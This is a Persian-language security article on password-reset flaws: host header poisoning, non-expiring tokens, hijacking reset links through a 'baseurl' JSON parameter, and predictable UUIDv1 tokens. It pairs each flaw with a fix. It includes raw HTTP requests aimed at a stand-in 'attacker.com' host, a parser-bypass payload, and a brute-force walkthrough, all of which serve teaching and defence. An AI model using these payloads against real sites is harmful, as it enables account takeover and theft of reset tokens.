برسی آسیب پذیری های بازنشانی رمز عبور

بررسی آسیب‌پذیری‌های بازنشانی رمز عبور و بهترین روش‌های امنیتی

26 ژانویه 2024

بررسی آسیب‌پذیری‌های بازنشانی رمز عبور و بهترین روش‌های امنیتی

رمز عبور هنوز هم رایج ترین راه برای احراز هویت یک کاربر است. با این حال، راه اندازی یک سیستم مدیریت رمز عبور که هم ساده و هم امن باشد، گاهی اوقات می تواند مشکل باشد.

در واقع، ویژگی بازنشانی رمز عبور یک هدف جالب برای مهاجم است، زیرا در صورت اجرای ضعیف می‌تواند سرقت حساب‌های کاربری را تسهیل کند.

در این مقاله، به خطاهای رایجی که در این نوع عملکردها می توان یافت، سوء استفاده های احتمالی و راه های محافظت از خود را بررسی خواهیم کرد. اما ابتدا، اجازه دهید نگاهی به نحوه عملکرد بازنشانی رمز عبور به طور کلی بیندازیم.

تنظیم مجدد رمز عبور چگونه کار می کند؟

ویژگی بازنشانی رمز عبور مکانیزمی ضروری برای مدیریت حساب های کاربری در پلتفرم های وب است. این امکان را به کاربران می دهد تا زمانی که رمز عبور خود را فراموش کرده اند، دوباره به حساب خود دسترسی پیدا کنند. اغلب اوقات، این قابلیت از طریق پیوند یا دکمه «رمز عبور فراموش شده» در صفحه تأیید هویت قابل دسترسی است.

هنگامی که کاربر درخواست بازنشانی رمز عبور خود را می کند، سیستم معمولاً یک پیوند منحصر به فرد ایجاد می کند که به آدرس ایمیل مرتبط با حساب ارسال می شود. این لینک کاربر را به صفحه ای می برد که در آن می تواند رمز عبور جدیدی وارد کند. و به دلایل امنیتی، این پیوند اغلب برای مدت محدودی معتبر است.

در سمت توسعه‌دهنده، اجرای استاندارد برای اطمینان از ایمن بودن فرآیند است. بهترین روش استفاده از نشانه‌های بازنشانی است که رشته‌های منحصربه‌فردی از کاراکترها هستند که اغلب برای اطمینان از قانونی بودن درخواست بازنشانی رمزگذاری شده‌اند.

علاوه بر این، اغلب اقداماتی برای جلوگیری از حملات brute force یا بازنشانی درخواست‌های هرزنامه انجام می‌شود، مانند محدود کردن تعداد درخواست‌های مجاز یا اجرای کپچا.

بهره برداری از آسیب پذیری های بازنشانی رمز عبور

مسمومیت هدر میزبان

Host Header Poisoning یک تکنیک حمله است که از آسیب پذیری یک برنامه وب با تکیه بر مقدار هدر Host درخواست HTTP سوء استفاده می کند.

معمولاً این هدر دامنه مورد نظر درخواست را نشان می دهد، اما گاهی اوقات می تواند توسط یک مهاجم دستکاری شود. این حمله می‌تواند اجازه دهد که آدرس ایمیل بازنشانی ربوده شود و به سروری که مهاجم کنترل می‌کند ارسال شود، اما همچنین می‌تواند دامنه پایه پیوند بازنشانی در ایمیل را تغییر دهد و قربانی را قادر می‌سازد تا به یک وب‌سایت شخص ثالث هدایت شود. به منظور انجام یک حمله فیشینگ و بازیابی اعتبار ورود به سیستم و همچنین سرقت رمز تنظیم مجدد قربانی.

یکی دیگر از اکسپلویت ها می تواند این واقعیت باشد که برخی از منابع جاوا اسکریپت سرور بر اساس هدر میزبان است. اگر مهاجم بتواند مقدار خود را تغییر دهد، پیوندهای فایل‌های جاوا اسکریپت اصلاح می‌شوند تا منابع شخص ثالث بارگیری شوند.

مثال بهره برداری

درخواست بازنشانی رمز عبور با هدف قرار دادن آدرس ایمیل هدف انجام می شود.

اگر برنامه یک پیوند بازنشانی با استفاده از هدر Host بدون اعتبار سنجی ایجاد کند، مهاجم می تواند ایمیل را به یک سرور مخرب هدایت کند.

این به او امکان می دهد تا حساب کاربری را بدزدد.

POST /forgot-password HTTP/2

Host: attacker.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: */*

Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 191

Te: trailers

Connection: close

csrf=qxoCDf28hFqnF2xP6HtGiIhnDFHmryPm&username=carlos

واکنش:

GET /forgot-password?temp-forgot-password-token=okxkbxb8qpq351vx7nsvrzh1rpq0exd7 HTTP/1.1

Host: attacker.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: */*

Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Content-Length: 191

Te: trailers

Connection: close

چگونه از آسیب پذیری های Host Header Poisoning جلوگیری کنیم؟

برای رفع آسیب‌پذیری Host Header Poisoning، به‌ویژه در فرآیندهای بازنشانی رمز عبور مبتنی بر سربرگ میزبان، اتخاذ یک رویکرد چند لایه برای امنیت ضروری است.

اولین قدم اجرای اعتبارسنجی دقیق هدر میزبان است. این شامل پیکربندی برنامه برای پذیرش فقط هدرهای میزبان شناخته شده و معتبر، با مقایسه سرصفحه میزبان هر درخواست با لیست سفید میزبان های تایید شده است. این کمک می کند تا اطمینان حاصل شود که برنامه فقط به درخواست های دامنه های قانونی پاسخ می دهد.

برای خود پیوندهای بازنشانی رمز عبور، استفاده از رمزهای بازنشانی امن و منحصر به فرد مهم است. این توکن ها باید طوری طراحی شوند که فقط برای مدت کوتاهی معتبر باشند و به طور منحصر به فرد با کاربر مربوطه مرتبط باشند. حتی اگر یک مهاجم لینک بازنشانی را رهگیری کند، انقضا سریع و منحصر به فرد بودن توکن خطر سوء استفاده را کاهش می دهد.

توکن منقضی نشده

در زمینه امنیت توکن، به ویژه مواردی که در روش های بازنشانی رمز عبور استفاده می شوند، عدم وجود تاخیر در انقضا می تواند یک نقص بزرگ باشد. یک توکن منقضی نشده به طور بالقوه می تواند توسط مهاجم لو رفته و مجدداً مورد استفاده قرار گیرد و امنیت حساب های کاربر را به خطر بیندازد. مکانیسم‌های نشت توکن متفاوت است.

به عنوان مثال، سرویس‌های آرشیو وب، مانند WebArchive، می‌توانند ناخواسته یا عمدا نسخه‌هایی از صفحات وب حاوی توکن‌های منقضی نشده را ذخیره کنند. علاوه بر این، هدر «ارجاع» در درخواست‌های HTTP می‌تواند به‌طور تصادفی توکن را به سایت‌های شخص ثالث نشت کند، به‌ویژه اگر اینها در معرض خطر قرار گیرند.

با توجه به این آسیب‌پذیری‌ها، اجرای تاخیر در انقضا برای توکن‌ها یک اقدام امنیتی بسیار مهم است. این امر مخصوصاً در زمینه‌ای مرتبط است که حتی بردارهای نشت کمتر آشکار، مانند بایگانی وب، می‌توانند خطر واقعی ایجاد کنند. مسلماً، نشت توکن از طریق هدر "ارجاع کننده" می تواند تقریباً فورا مورد سوء استفاده قرار گیرد و باعث می شود انقضا در برابر این نوع خاص از حمله موثر نباشد. با این حال، تاخیر در انقضا به طور قابل توجهی پنجره فرصت را برای مهاجم کاهش می دهد، به ویژه در سناریوهای بهره برداری کندتر.

برای رمزهای بازنشانی رمز عبور، توصیه می‌شود که تاخیری در انقضا حداکثر یک ساعت پس از تولید تعیین کنید. برای به حداقل رساندن خطر، معمولاً یک دوره کوتاه‌تر مانند 20 دقیقه توصیه می‌شود. علاوه بر این، بسیار مهم است که توکن به گونه ای طراحی شود که فقط یک بار استفاده شود. پس از استفاده، توکن باید باطل شود و از هرگونه تلاش مهاجم برای استفاده مجدد از آن جلوگیری شود. این منحصربه‌فرد بودن تضمین می‌کند که حتی اگر یک توکن رهگیری شود، نمی‌توان از آن برای انجام حملات مکرر یا دسترسی به یک حساب کاربری پس از اینکه مالک قانونی قبلاً از رمز برای تغییر رمز عبور خود استفاده کرده است استفاده کرد.

ربودن لینک بازنشانی رمز عبور

برخی از برنامه ها برای ایجاد پیوندهای بازنشانی رمز عبور به پارامترهای قابل کنترل توسط کاربر متکی هستند.

این پیاده سازی می تواند به کاربران مخرب اجازه دهد تا پیوندهای تنظیم مجدد را ربوده و آنها را قادر به سرقت حساب های کاربری کند.

بیایید به یک مورد استفاده نگاه کنیم که در آن توانستیم میزبان پیوند ریست را از طریق یک پارامتر JSON در درخواست مسموم کنیم.

بهره برداری

در طول آزمایش نفوذ جعبه سفید، تیم ما برنامه‌ای را کشف کرد که پیوند بازنشانی رمز عبور را با استفاده از پارامتر درخواستی که می‌تواند توسط کاربر دستکاری شود، ایجاد می‌کند.

درخواست زیر به سرور ارسال شد:

POST /reset-password HTTP/1.1

Host: redacted.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: */*

Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

Content-Length: 191

Te: trailers

Connection: close

{"email":"user@local.com","baseurl":"redacted.com"}

یک پارامتر " baseurl " وجود دارد که برای ساخت url تنظیم مجدد رمز عبور استفاده می شود. اولین چیزی که ممکن است به ذهن خطور کند این است که مقدار پارامتر " baseurl " را به نام دامنه ای که مهاجم می تواند کنترل کند، تغییر دهید تا پیوند به دامنه اشتباهی اشاره کند.

با این حال، در طول ممیزی امنیتی، متوجه شدیم که سرور درخواست را با یک دامنه شخص ثالث نمی‌پذیرد و اعتبارسنجی در سمت سرور انجام می‌شود.

با بررسی کد منبع برنامه (شرایط جعبه سفید)، متوجه شدیم که اعتبارسنجی بر اساس استفاده از تابع urlparse در ماژول urllib.parse است .

برنامه بررسی کرد که بر اساس ویژگی hostname تابع urlparse، نام دامنه با نام برنامه مطابقت دارد .

پس از کمی تحقیق، با گزارش امنیتی مواجه شدیم که نشان می‌دهد به لطف بار زیر می‌توان اعتبار تجزیه‌کننده را اشتباه گرفت:

attacker.com\@serveur_dorigine.com

تنها کاری که یک مهاجم باید انجام دهد این است که یک درخواست بازنشانی با پرس و جو زیر ایجاد کند:

POST /reset-password HTTP/1.1

Host: redacted.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Accept: */*

Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

Content-Length: 191

Te: trailers

Connection: close

{"email":"user@local.com","baseurl":"attacker.com\@serveur_dorigine.com"}

قربانی ایمیل زیر را دریافت خواهد کرد:

زمانی که قربانی روی لینک کلیک کند، توکن او به سرور مهاجم ارسال می‌شود و سپس می‌تواند از آن برای سرقت حساب استفاده کند.

رفع آسیب پذیری

برای ایجاد پیوندهای بازنشانی رمز عبور در برنامه‌های کاربردی وب، به دلایل متعددی که به امنیت و یکپارچگی برنامه مربوط می‌شوند، صرفاً به مقدار هدر میزبان و پارامترهای قابل کنترل توسط کاربر تکیه نکنید.

درعوض، برنامه باید از یک URL پایه تأیید شده در سمت سرور (لیست سفید) از پیش پیکربندی شده استفاده کند و اطمینان حاصل کند که پیوند بازنشانی همیشه به یک دامنه قانونی منتهی می‌شود. در مرحله بعد، پیاده سازی سیستمی از نشانه های بازنشانی یکبار مصرف که پس از مدت کوتاهی منقضی می شود، مهم است. این توکن ها باید از نظر رمزنگاری ایمن و ایمن ذخیره شوند.

توکن های آنتروپی کم

هنگامی که یک درخواست بازنشانی رمز عبور انجام می شود، یک نشانه تصادفی برای تأیید یکپارچگی کاربری که از آن استفاده می کند، تولید می شود. این توکن باید پیچیده باشد زیرا اگر مهاجم بتواند مکانیسم تولید توکن را درک کرده و آن را پیش‌بینی کند، می‌تواند توکن‌های معتبر دیگری تولید کند و در نتیجه حساب‌های کاربری را به سرقت ببرد.

سناریوهای زیادی برای بررسی وجود دارد، و ما از مورد UUIDv1 برای نشان دادن نظر خود استفاده خواهیم کرد.

UUIDv1 یک نسخه خاص از یک شناسه است که با استفاده از زمان فعلی و آدرس MAC رایانه تولید کننده آن تولید می شود . UUIDv1 با ترکیب یک مهر زمانی، آدرس MAC دستگاه و یک شناسه منحصر به فرد تولید می شود.

در اینجا یک مثال است:

بهره برداری

حمله "ساندویچ" UUIDv1 ها را با بهره برداری از قابلیت پیش بینی آنها هدف قرار می دهد. هنگامی که دو UUIDv1 در یک دوره کوتاه تولید می‌شوند، تنها چهار بایت مهر زمانی اول متفاوت هستند.

مرحله بعدی حمله شامل بازسازی UUID ناشناخته با استفاده از حمله brute force در بخشی از مهر زمانی است.

بیایید مثالی از مهاجمی بزنیم که سعی دارد حساب کاربری یک کاربر را با ایمیل " user2@local.com " بدزدد.

ابتدا یک مهاجم یک حساب کاربری در پلتفرم مورد نظر ایجاد می کند. در مرحله بعد، او یک درخواست بازنشانی رمز عبور را به ترتیب زیر آغاز می کند:

حساب مهاجم ( attacker@local.com )

حساب قربانی ( user2@local.com )

حساب مهاجم ( attacker@local.com )

هدف به حداقل رساندن تأخیر بین سه درخواست به منظور کاهش بار بر روی نیروی بی رحم است که پس از آن انجام می شود. برای رسیدن به این هدف، می‌توان از ویژگی «ارسال گروه» Burp Suite استفاده کرد.

پس از این درخواست ها، مهاجم UUID های زیر را دریافت می کند:

UUID 1: 6b894ab2-845d-11ee-8227-00155d4e2cec

UUID 3: 6b89a4c6-845d-11ee-8227-00155d4e2cec

به راحتی می توان فهمید که تنها چند کاراکتر بین دو شناسه (بخش مهر زمان) متفاوت است.

سپس می توانید بین مهرهای زمانی تفاوت قائل شوید تا تعداد تلاش های لازم برای یافتن نشانه قربانی را تخمین بزنید، که جایی بین این دو است.

6b89a4c6 - 6b894ab2 = 23060

بنابراین برای یافتن توکن قربانی بیش از 23000 تلاش لازم است. از ویژگی Intruder Burp Suite می توان برای آزمایش همه احتمالات و تعیین ارزش توکن معتبر قربانی استفاده کرد.

در پایان نیروی brute، ما تعیین می کنیم که UUID 6b897a32-845d-11ee-8227-00155d4e2cecمعتبر است. با استفاده از این توکن، مهاجم می تواند رمز عبور قربانی را بازنشانی کند و حساب را بدزدد.

این حمله نه تنها برای UUIDv1 ها، بلکه برای تمام نسل های توکن که از مهر زمانی سرور به عنوان یک عدد تصادفی در طول تولید استفاده می کنند، موثر است.

اصلاح

یکی از روش های توصیه شده استفاده از توکن های قوی مانند UUIDv4 است . این نسخه از UUID شناسه های منحصر به فرد را به صورت تصادفی تر تولید می کند و آنتروپی بالاتری را نسبت به روش های دیگر ارائه می دهد.

رمزهای بازنشانی رمز عبور نباید قابل تعیین باشند. بنابراین مهم است که اطمینان حاصل شود که آنها هر بار که تولید می شوند به اندازه کافی طولانی اما بالاتر از همه مقدار تصادفی دارند تا از قابل استفاده برای تعیین نشانه های دیگر جلوگیری شود.